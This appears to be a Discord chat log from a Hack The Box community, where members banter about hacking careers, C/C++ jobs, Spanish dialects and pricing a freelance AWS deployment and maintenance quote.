I am just a normal worker

[wanton dock]

palantir could turn you into an llm

[winged ridge]

?

[supple plume]

Why do you ask

[winged ridge]

i need to make money out of skills I learned from hackthebox (hacking). I dont like to work to the rest of my life

[molten bobcat]

I uh

[supple plume]

Aha

[molten bobcat]

I regret to inform you that most humans on this planet work

[supple plume]

How old are you?

[winged ridge]

23

[molten bobcat]

The goal is to find work that you like doing. There's no way of getting out of doing work

[supple plume]

Hmmm... already thinking about retirement?

[rocky tartan]

working is good, it slows down the process of self destruction

[supple plume]

Next gen will born retired

[frozen zinc]

low key is not a bad idea for a company targetting billionairs to offer profiling from young age in case something happens or the possibility to "live" more after....

[supple plume]

https://tenor.com/view/jo-jos-bizarre-adventure-frog-fist-gif-11650164

[rocky tartan]

just do tiktoks and you gonna be rich quickly

[frozen zinc]

all the ingredients to scam also

[molten bobcat]

What God awful advice lmao

[winged ridge]

I spent over 11 years into hacking just to do some tiktoks?

[supple plume]

You know, you can also make a company

[undone fossil]

Owning a business is work

[supple plume]

It is a hell lot of work

[heady sage]

Imagine dragons music plays loudly

[wanton dock]

the questions we'll be asking about humanity after technology is cheaper and more efficient than human workers disturbs me

[winged ridge]

it's hard to find clients, there is no credability

[undone fossil]

Yeah more than normal work

I was gonna start my own but holy fuck

Try it, it’s eye opening

[rocky tartan]

what did you learn after studying 11 years

[supple plume]

Start as a freelancer make network, fake it

[alpine pumice]

imagine dragons? imagine... dragon deez nuts...

[molten bobcat]

Boo

[rocky tartan]

nice username

[undone fossil]

Imagine dragon yourself through htb moderation bucko

[frozen zinc]

Do you need GUI developers? xD I despise js

[winged ridge]

almost all the possible things you could imagine

[undone fossil]

Nah but my employer is hiring C++ devs

[molten bobcat]

Claude generated AI stuff triggered edr detections for me the other day

[undone fossil]

Kek

[molten bobcat]

Not from stuff I ran mind you, a client ran Claude code

[rocky tartan]

fair enough, good luck

[frozen zinc]

Ngl, I do a lot of research and test a lot and I try to do nice code but I use cursor for everything

thats it

[molten bobcat]

I was responding to a strange detection regarding referencing a 0 byte file?

[frozen zinc]

I dont hide it

[winged ridge]

why is it always the bad ppl who earns money alot?

[undone fossil]

Not always

[livid urchin]

i'm figuring out how to get a flag for a module using pwnbox. anyone is available to help?

[undone fossil]

You’re just noticing the loudest

And usually to make up for that salary without the hard skills, it’s soft skills

[winged ridge]

what challenge is it?

[molten bobcat]

https://tenor.com/view/futurama-godfellas-if-you-do-things-right-when-you-do-things-right-people-wont-think-youve-done-anything-at-all-gif-25834001

[alpine pumice]

Best to ask for module help in #modules

[rocky tartan]

the question you need to ask yourself is, am i going to lose myself in the process of trying achieve something that i might not want in the first place ?

[livid urchin]

I connected to the box in the browser, copied the file over. running the provided python script, it looks like it's using port 8000 on this pwnbox to validate. but nothing is running on it. (I'm not using the VPN)

[frozen zinc]

what do you think about the "new" generations of coders using cursor?

[undone fossil]

I mean if you’re seriously interested in a dev role feel free to fire me a DM. I’m new to the company so I don’t have a ton of say but can put in a good word if you’ve got relevant portfolio projects

I think two things

1. My job security increases
2. They’ll likely be better at prompt engineering than I will

[frozen zinc]

lol

[frozen zinc]

did you said that to me?

[undone fossil]

Travelling rn so Wi-Fi cutting out nooooo

@frozen zinc

[winged ridge]

do u solve a machine or challenge? what are u using pwnbox for?

[supple plume]

Only problem is I am just a web dev...

[winged ridge]

https://tenor.com/view/maduro-dancing-venezuela-nicolás-maduro-dance-gif-9749114696545970021

[molten bobcat]

I kinda wanna play death stranding

[undone fossil]

The interview will have questions like “what’s the difference between user mode and kernel mode” etc so

It’s more of a “do you have the knowledge”, not necessarily needing you to have single-handedly developed wazuh

[wanton dock]

have u ever considered working for the government or government contractors in particular specialties (ex. cno developer)

idk the process of getting to that point myself but just throwing that out there

[winged ridge]

i did indeed work in those areas, but it's imoral to work with them can I say

there is no freaking privacy at all

[wanton dock]

privacy for the employee or people in general?

[undone fossil]

Yeah same reason I avoid those roles

[winged ridge]

both

[frozen zinc]

thats fine

[livid urchin]

I'm trying to get a flag for the "Model Evaluation (Spam Detection)" module of the Applications of AI in InfoSec course

[supple plume]

I don't know C either

I mean

[undone fossil]

You’d be writing almost purely C/++ so

[supple plume]

I always have used high level interpreted languages

[undone fossil]

Likely not a great fit sadly but there’s many jobs opening up atm because of new budgets being released in the new year

[supple plume]

Well

[frozen zinc]

i did this without llm

https://github.com/b4ndit23/Simple-Algorithms

when i was learning C++

[supple plume]

Do they ask about algorithms and maths?

[frozen zinc]

I bought a nice book

[supple plume]

Just curious

[undone fossil]

A little bit but just baseline stuff like “what’s space time complexity” as a random example

Moreso interested in how you approach problems, but they’re typically centered around what you claim to have done

With ofc some bits relating to our tech so EDR/IDS maybe C2 etc

[supple plume]

I haven't finished high-school so never got the need or was forced to approach these kind of things

[frozen zinc]

Thats cool

Probably wont get it but the experience itself may be very useful

Maybe they like the GUIs xD

[supple plume]

Would you say it is worth to get into these weeds in my case?

[undone fossil]

That entirely depends on your interests

[supple plume]

My goals are just getting way better at cyber and understanding how computers work

[undone fossil]

Unless your interests are purely money I guess

Hmm I’d say so

[supple plume]

It's not

[undone fossil]

C is enough for the learning side, it’s basically an ASM wrapper

C++ is just uh

Icky

[undone fossil]

300 page books on how you can initialise a variable 😭

[supple plume]

Sounds terrible

I'm used to python

[frozen zinc]

My goal is to get hired by a bank to hack it

[supple plume]

a=1

a = ""

[undone fossil]

Then pentesting / RT :)

[supple plume]

Nothing explodes

[frozen zinc]

RT

[undone fossil]

Real

[supple plume]

Hahah

[undone fossil]

Until you specify a list as a default parameter

[frozen zinc]

like the proper thing

Honestly i just want to work with Chris Rock lol

[supple plume]

What is rt

[frozen zinc]

red teaming

[supple plume]

Russian Television

Oh ok

[late sleet]

ray tracing

[molten bobcat]

Woah

[coarse olive]

.

[molten bobcat]

Not what I wanted to tab back into

Lmao

[supple plume]

Hahahah

[molten bobcat]

I got flashbanged

[undone fossil]

I think my discord glitches

Hm

[molten bobcat]

I'm sure it does

Hm

That

[supple plume]

Hm

[molten bobcat]

Was the worst

[undone fossil]

Mullvad, lock my shit down

[supple plume]

It can always get worse

[frozen zinc]

@undone fossil i sent you the dm btw

[undone fossil]

Oh neat

[molten bobcat]

They got me on the phones can it really get worse

[undone fossil]

Yeah

[supple plume]

Big time

[undone fossil]

You’re not fired

You’re double hired

[molten bobcat]

That's true I guess

[undone fossil]

But the payroll entry was non unique

So same salary

[supple plume]

Imagine you had to go speak with clients in person

[undone fossil]

Enjoy pentesting !

[molten bobcat]

I mean that would require a very large amount of travel

And passports to countries I've never seen

I've answered the phone for clients in Chile

I have never once left the states lmao

[supple plume]

[molten bobcat]

OHH OH

[supple plume]

Dayum

[molten bobcat]

BTW

I forgot to mention this

I was on a conference call with a technician in

Madrid

He said my Spanish was very good

He was having trouble finding a setting because his web page was in Spanish and our instructions were English

[supple plume]

We don't speak english in spain

Seriously

[molten bobcat]

They were written instructions

[supple plume]

Same shit

[molten bobcat]

Things were getting lost in translation

So he shared his screen and I called out the settings by their Spanish labels

And that's where he complimented my Spanish

[supple plume]

Oh ok

So bad UI internationalization

[molten bobcat]

That or just

Not super tech savvy staff?

Hard to tell

[supple plume]

Customer's skill issue

[frozen zinc]

are you spanish?

[undone fossil]

Layer 9 issue

[supple plume]

Lvl 40

[molten bobcat]

I'm unfortunately not fluent enough to be on the official Spanish speaker team

They speak too fast for my small brain to keep up

[frozen zinc]

Do you have experience with freelancing? xD

[supple plume]

Tú tienes 0 bitches

[molten bobcat]

OYÉ

[supple plume]

Probably 6 years more than you

[undone fossil]

Ich no hablo deutschland

[molten bobcat]

YOU WILL USE USTED WITH ME FUCKO

[frozen zinc]

I need to send my first quote ever and I dont know exactly how much to ask

[molten bobcat]

Please send me sixty two thousand dollars thank you

[supple plume]

Really

[supple plume]

What's the job

[molten bobcat]

Well, what's your hourly rate

[undone fossil]

Time & scope

[molten bobcat]

And how many hours do you estimate it'll take

[undone fossil]

Then add more time since it’s hard to estimate time

[molten bobcat]

Yeh

Safety buffer

[undone fossil]

Always better to finish too fast rather than too slow

Unless you’re talking to a woman but no one here does that

[molten bobcat]

[fiery copper]

Just act Mexican

[vivid flower]

[undone fossil]

Sorry for mentioning the W word I know it can be scary

[molten bobcat]

I don't think this helps at all

[lucid needle]

Been trying to hack this box for 4 hours lol I gotta hit the academy again.🤣

[undone fossil]

4 hours is fineee

[fiery copper]

Why not they basically speak the same language

[supple plume]

What's the job ima fall asleep

[molten bobcat]

Not understanding those differences would hinder communication

Spain Spanish is a different dialect

[fiery copper]

I guess

[vivid flower]

Just say vara a lot

[supple plume]

Is not that different it's mostly the pronunciation

[lucid needle]

True but I’m too much of a nood I’ve got to a point where I’m not even sure what I’m doing lol but I think I’m close just needa learn a bit more

[supple plume]

And some things

[molten bobcat]

And we're just ignoring all of the conjugation for vosotros

And the other varients

[fiery copper]

Personally I would just use the iPhone 17 that I dont have to do all the translation for me

[molten bobcat]

Personally I would rather learn the language

[fiery copper]

So you are in Spain but without the S

[vivid flower]

You should learn your own people's language

[undone fossil]

I would rather have a billion dollars but I’m not crying

[frozen zinc]

Yes bro... So i started a job as back office for a company in Andalucia, the company is quite niche in what they do but they are old fashion and has no IT deparment, so i started to do a lot of IT stuff, I had an idea to develop an app for them, they liked and my job turn in to coding 90% of the time, my boss had some ego trips on my so i quit the company, he asked to me work as freelance bcs the entire app is mine xD and the CEO is like where is the app now, i told him to wait to next year bcs taxes and now i need to finally do it, I basically need to setup AWS and deploy the entire thing, i can send you the quote, im basically asking 4k and 250 monthly maintenance

[fiery copper]

Andalucia sounds like some fantasy land in One Piece

[supple plume]

What

[molten bobcat]

It's a place in Spain homie

[supple plume]

Setup aws and deploy

That's the task?

[frozen zinc]

plus some new possible features and testing

[vivid flower]

Sounds like basic architect stuff

[frozen zinc]

is not the web site

is the entire back end

[fiery copper]

Basic and Architect dont match

[vivid flower]

Wdym

[supple plume]

This can mean a lot or not much

[fiery copper]

Cuz Architects aint Basic

[frozen zinc]

### Components to Deploy

The complete system includes the following components that will be deployed on AWS (Amazon Web Services):

- **Configurator App** - Main Flutter application (Web)
  - Interface for end customers
  - LED screen configuration
  - LED screen electronics configuration

  
- **Admin Panel** - Flutter administration panel (Web)
  - Complete LED screen management
  - Processor and component management
  - Security standards compliance

- **Backend Server** - REST API in Dart
  - Application server
  - Authentication and security management
  - Data processing

- **PostgreSQL Database** - Managed database
  - Secure storage of all data
  - Daily automatic backups
  - Initial data migrated

- **Nginx Reverse Proxy** - Web server and security
  - SSL/HTTPS certificates (secure connection)
  - Protection against attacks
  - Performance optimization

- **Email System** - PDF email sending
  - Integration with company SMTP server
  - Quote sending via email
  - Notification system

[undone fossil]

I think best to DM here, there’s a lot that’s vague

[supple plume]

You need to know exactly what the task is

[fiery copper]

Holy shit

[vivid flower]

Aws architect is literally their easiest and most common cert

[supple plume]

And monthly maintenance is a terriblenidea btw

[frozen zinc]

yes

[fiery copper]

Oh Solutions Architect

Not the smart Architect

Got it

[vivid flower]

[undone fossil]

Unsure where you’re located country wise but this could be quite expensive

[frozen zinc]

they dont even know yet xD

the CEO and the director are not in the same page

[undone fossil]

Just make sure you mention somewhere that security is their responsibility, just helped by yourself or something

Don’t want them going “but we pay this guy for our security” if they get breached

[supple plume]

This is too much for 4k combining deployment and aws config, you're cooked

[frozen zinc]

why?

[fiery copper]

If the person is located in US it can be somewhat affordable, if the person is in India then its like debt for life

[supple plume]

Also maintenance= slavery

[vivid flower]

Lol

[supple plume]

Yeah vro sorry about that

[frozen zinc]

but why is a bad idea? tax wise?

[supple plume]

Maintenance what does that mean?

Means the customer will call you and say hey this button looks bad

[fiery copper]

Keep stuff working regularly

[supple plume]

Or doesnt work

Something stupid

[frozen zinc]

Dont worry, I thought about that already xD

[supple plume]

And will make you waste a lot of time because it was included in the maintenance

[undone fossil]

Yeah define maintenance more strictly

[supple plume]

Exactly

[undone fossil]

To me that sounds like “unlimited modifications if we do it slowly enough”

[fiery copper]

I think maintainance is clearing the floor and wipe the furniture of dust

[frozen zinc]

yes but only like 2 hours monthy and then 40 euros per hours after two

[dusky jacinth]

Nahhhh

[frozen zinc]

no?

is not that bad no?

[supple plume]

Still a bad idea

[fiery copper]

Make em pay for your mistakes

[undone fossil]

The issue isn’t maintenance as a concept

[frozen zinc]

give me a sec

[undone fossil]

The issue is maintenance is too widely scoped right now

[frozen zinc]

i need to translate it

i go it in spanish

[undone fossil]

A good example, we let a sales guy scope a pentest once because it was a super simple API only test

[fiery copper]

We need Dora the Explorer over here

[undone fossil]

I QAd the contract and saw “15+ endpoints”

Asked the client to clarify

“120”

[molten bobcat]

Spanish is fun to learn

[frozen zinc]

Includes:
- ✅ Incident resolution (response time: 4 business hours)
- ✅ 3 hours of technical support included per month
- ✅ Minor security updates
- ✅ Backup verification
- ✅ Monthly system status report
- ✅ Additional hours: €40/hour (if more than 3 hours are needed)

[supple plume]

Spanish is fun to curse

So

[fiery copper]

40 euros per hour? Holy smokes

[frozen zinc]

lol

[undone fossil]

Remove minor from security updates it’s just fluff

[molten bobcat]

Uhh how much do I make an hour..?

[undone fossil]

That’s cheap in the business world

[supple plume]

Youre charging 250€ for 3 hours but then after that 40h per hour?

[fiery copper]

For me it aint

[frozen zinc]

cursor mistakes and my mistakes bro

[supple plume]

Who tf would want that maintenance xd

[molten bobcat]

$47.12

Whether or not that's fair I've not a clue

[frozen zinc]

Good new is that I study cyber security so i can also audit the app

[supple plume]

.

[undone fossil]

My solution is usually to just DM people prices I made up

And slowly decrease it until I stop receiving kek reactions

[molten bobcat]

Lmaooo

Valid strat

[fiery copper]

Frog id be the happiest man if I worked for 40 euros an hour

[frozen zinc]

true i need to do the psychological game with the numbers

[undone fossil]

I mean for a product ^

[molten bobcat]

Money doesn't make you happy buddy

[frozen zinc]

bro this people wont pay more

[undone fossil]

I mean it certainly increases quality of life

[supple plume]

I've done 600 in one hour

[fiery copper]

Ye buddy tell that to me that needs to buy an apartment, pay bills and shit

[urban bramble]

was up people

my eyes hurt

[frozen zinc]

is the south of spain

[undone fossil]

It’s okay I’m not saying you’re ripping yourself off

I’m just commenting because of what others said

[molten bobcat]

All of my bills are paid and it didn't bring happiness

[fiery copper]

Did you get christmas gifts?

[frozen zinc]

no im charging 250 for the entire package

[undone fossil]

I mean I’d be pretty happy if I had a home

[molten bobcat]

Happiness comes from something other than money

[fiery copper]

Ye but ud be in worse state if you couldnt

[urban bramble]

cheesecake

[frozen zinc]

and that package include 3 hours of direct support

[supple plume]

I don't have your luck

[fiery copper]

Ye tell that to homeless people

[molten bobcat]

I know, I was in that worse state for a while

[undone fossil]

Literally me

[fiery copper]

Or kids that need money to pay for cancer

[undone fossil]

I’m homelessmaxxing

[supple plume]

Say it to me @molten bobcat

[molten bobcat]

Other people's suffering does not invalidate your own. Suffering isn't a contest

[undone fossil]

Yup real

[urban bramble]

woah this seems deep

bad time?